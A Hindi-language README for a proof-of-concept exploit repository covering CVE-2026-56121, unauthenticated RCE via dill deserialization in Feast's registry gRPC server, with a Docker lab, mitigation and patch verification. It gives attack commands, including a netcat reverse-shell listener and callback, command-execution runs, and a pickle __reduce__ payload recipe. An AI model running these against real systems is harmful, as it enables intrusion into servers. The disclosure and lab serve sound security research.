
CVE-2026-56121 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Feast के रजिस्ट्री gRPC सर्वर में असुरक्षित dill डिसीरियलाइज़ेशन के माध्यम से एक अनप्रमाणित RCE है। परीक्षण और सत्यापन के लिए एक Dockerized कमजोर लैब शामिल है।
Feast (< 0.63.0) में registry gRPC सर्वर में असुरक्षित dill.loads डिसीरियलाइज़ेशन के माध्यम से अनप्रमाणित रिमोट कोड निष्पादन।
इस रिपॉज़िटरी में एक स्व-निहित प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और इसे मान्य करने के लिए एक Dockerized कमज़ोर लैब शामिल है।
| CVE | CVE-2026-56121 |
| उत्पाद | Feast (फीचर स्टोर) — registry gRPC सर्वर |
| प्रभावित | feast < 0.63.0 |
| इसमें ठीक हुआ | 0.63.0 (कमिट 835cda8) |
| वर्ग | CWE-502 — अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभाव | अनप्रमाणित RCE (डिफ़ॉल्ट कॉन्फ़िग auth: no_auth है) |
| डिफ़ॉल्ट पोर्ट | 6570/tcp (gRPC registry सर्वर) |
⚠️ केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसे केवल बंडल किए गए Docker लैब या उन सिस्टमों के विरुद्ध चलाएँ जिनके आप स्वामी हैं / जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। तृतीय-पक्ष सिस्टमों के विरुद्ध अनधिकृत उपयोग अवैध है।
Feast registry gRPC हैंडलर RegistryServer.ApplyFeatureView किसी भी प्राधिकरण जाँच को चलाने से पहले OnDemandFeatureView.from_proto(...) को कॉल करके आने वाले फीचर-व्यू स्पेक को डिसीरियलाइज़ करता है। एक pandas-मोड ऑन-डिमांड फीचर व्यू के लिए गैर-रिक्त UDF बॉडी के साथ, वह पथ PandasTransformation.from_proto तक पहुँचता है, जो हमलावर-नियंत्रित बाइट्स पर dill.loads(user_defined_function.body) चलाता है। क्योंकि dill pickle ऑपकोड निष्पादित करता है, एक क्राफ्टेड __reduce__ वाली वस्तु सर्वर प्रक्रिया में मनमाना Python चलाती है। शिप की गई कॉन्फ़िगरेशन auth: no_auth है और gRPC सर्वर में कोई प्रमाणीकरण इंटरसेप्टर नहीं है, इसलिए कोई भी जो पोर्ट 6570 तक पहुँच सकता है, उसे कोड निष्पादन मिलता है।
पूर्ण कोड-पथ वॉकथ्रू और पैच डिफ़ के लिए ANALYSIS.md देखें।
.
├── exploit/
│ ├── exploit.py # पूर्ण PoC क्लाइंट: --check / --cmd / --reverse-shell
│ ├── poc.py # न्यूनतम एकल-फ़ाइल PoC, ~90 पंक्तियों में समान प्रिमिटिव
│ ├── build_protos.sh # [email protected] से protobuf स्टब्स (पुनः) उत्पन्न करें
│ └── protos/ # प्रतिबद्ध जनरेटेड *_pb2 स्टब्स (protoc के बिना PoC चलाएँ)
├── lab/
│ ├── Dockerfile # डिफ़ॉल्ट रूप से feast==0.62.0; FEAST_VERSION रिलीज़ का चयन करता है
│ ├── docker-compose.yml
│ ├── entrypoint.sh # feast serve_registry --port 6570
│ └── feature_repo/ # न्यूनतम Feast प्रोजेक्ट (auth: no_auth)
├── requirements.txt # एक्सप्लॉइट निर्भरताएँ: grpcio, protobuf
├── ANALYSIS.md
└── LICENSE
cd lab
docker compose up --build -d
# registry gRPC सर्वर अब localhost:6570 पर सुन रहा है
docker compose logs -f # "Grpc server started" की प्रतीक्षा करें
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
सुरक्षित जाँच (गैर-विनाशकारी) — साबित करता है कि सर्वर /tmp में एक मार्कर फ़ाइल लिखकर और होस्ट जानकारी लौटाकर हमलावर डेटा को डिसीरियलाइज़ करता है, बिना शेल कमांड चलाए:
python exploit/exploit.py --target 127.0.0.1:6570 --check
एक कमांड चलाएँ और उसका आउटपुट देखें (डिफ़ॉल्ट मोड):
python exploit/exploit.py --target 127.0.0.1:6570 --cmd "id; hostname; cat /etc/os-release | head -1"
इंटरैक्टिव रिवर्स शेल — पहले अपना लिसनर प्रारंभ करें, फिर पेलोड डिलीवर करें:
# टर्मिनल A
nc -lvnp 4444
# टर्मिनल B (एक ऐसा पता उपयोग करें जिसे कंटेनर वापस पहुँच सके)
python exploit/exploit.py --target 127.0.0.1:6570 --reverse-shell 172.17.0.1:4444
--cmd और --check मोड एक्सप्लॉइट में ही एक अल्पकालिक TCP लिसनर स्पिन करते हैं और लक्ष्य जो भी वापस भेजता है उसे प्रिंट करते हैं — लक्ष्य छवि में किसी बाहरी टूलिंग की आवश्यकता नहीं है।
एक सरलीकृत समकक्ष exploit/poc.py में है, यदि आप पूरे प्रिमिटिव को एक पठनीय फ़ाइल में चाहते हैं:
python exploit/poc.py 127.0.0.1:6570 "id; uname -a"
कॉलबैक नोट।
--check,--cmdऔरpoc.pyलक्ष्य के आपकी मशीन पर एक लिसनर से वापस कनेक्ट होने पर निर्भर करते हैं। होस्ट से चलाना बॉक्स से बाहर काम करता है। यदि आप एक्सप्लॉइट को कंटेनर के अंदर से चलाते हैं, तो इसे लैब के नेटवर्क पर रखें (docker run --network lab_default ...), अन्यथा पेलोड निष्पादित होता है लेकिन उत्तर कभी नहीं आता और टूल "no callback" रिपोर्ट करता है।
exploit/protos/ में स्टब्स प्रतिबद्ध हैं, इसलिए आपको protoc की आवश्यकता नहीं है। यदि आप उन्हें पुनः उत्पन्न करते हैं, तो स्क्रिप्ट का उपयोग करें — यह जानबूझकर grpcio-tools को पिन करती है:
./exploit/build_protos.sh # पिन किए गए python:3.11 कंटेनर में चलता है
protoc हर _pb2.py में एक gencode संस्करण स्टैम्प करता है, और protobuf एक स्टब को लोड करने से इनकार करता है जिसका gencode स्थापित रनटाइम से नया है। पिन स्टब्स को protobuf >= 5.29, < 8 पर लोड करता रखता है (5.29.6, 6.33.6 और 7.36.0 के विरुद्ध सत्यापित)।
फिक्स्ड रिलीज़ के विरुद्ध लैब को पुनः बनाएँ और एक्सप्लॉइट को फिर से चलाएँ:
cd lab
docker compose down
FEAST_VERSION=0.63.0 docker compose up --build -d
python ../exploit/exploit.py --target 127.0.0.1:6570 --check
0.63.0 पर अपेक्षित: [-] No callback received. और लक्ष्य पर कोई मार्कर फ़ाइल नहीं — हैंडलर skip_udf=True पास करता है, इसलिए UDF बॉडी प्राधिकरण जाँच से पहले कभी डिसीरियलाइज़ नहीं होती। docker compose down && docker compose up --build -d के साथ कमज़ोर लैब पर वापस स्विच करें।
cd lab && docker compose down -v
ApplyFeatureViewRequest बनाएँ जिसके on_demand_feature_view स्पेक में mode = "pandas" और एक feature_transformation.user_defined_function (UserDefinedFunctionV2) हो:
body_text = गैर-रिक्त (pandas डिसीरियलाइज़ेशन शाखा तक पहुँचने के लिए आवश्यक),body = एक वस्तु का pickle जिसका __reduce__ exec(<python>) कॉल करता है।feast.registry.RegistryServer/ApplyFeatureView को एकल अनप्रमाणित gRPC कॉल भेजें।from_proto के दौरान dill.loads(body) चलाता है — प्राधिकरण जाँच से पहले — पेलोड निष्पादित करते हुए। RPC स्वयं तब त्रुटि दे सकता है; कोड पहले ही चल चुका है।एक्सप्लॉइट गैजेट को stdlib pickle मॉड्यूल के साथ क्राफ्ट करता है (सर्वर का dill.loads सादे pickle ऑपकोड को आसानी से डिकोड करता है), इसलिए हमलावर पक्ष को केवल grpcio + protobuf की आवश्यकता होती है।
>= 0.63.0 में अपग्रेड करें। फिक्स *.from_proto के माध्यम से एक skip_udf=True फ़्लैग थ्रेड करता है, इसलिए registry सर्वर UDF बॉडी को डिसीरियलाइज़ किए बिना स्पेक मेटाडेटा पर अनुमतियाँ मान्य करता है।6570) को अविश्वसनीय नेटवर्कों पर उजागर न करें।no_auth के बजाय प्रमाणीकरण (auth: kubernetes / auth: oidc) सक्षम करें।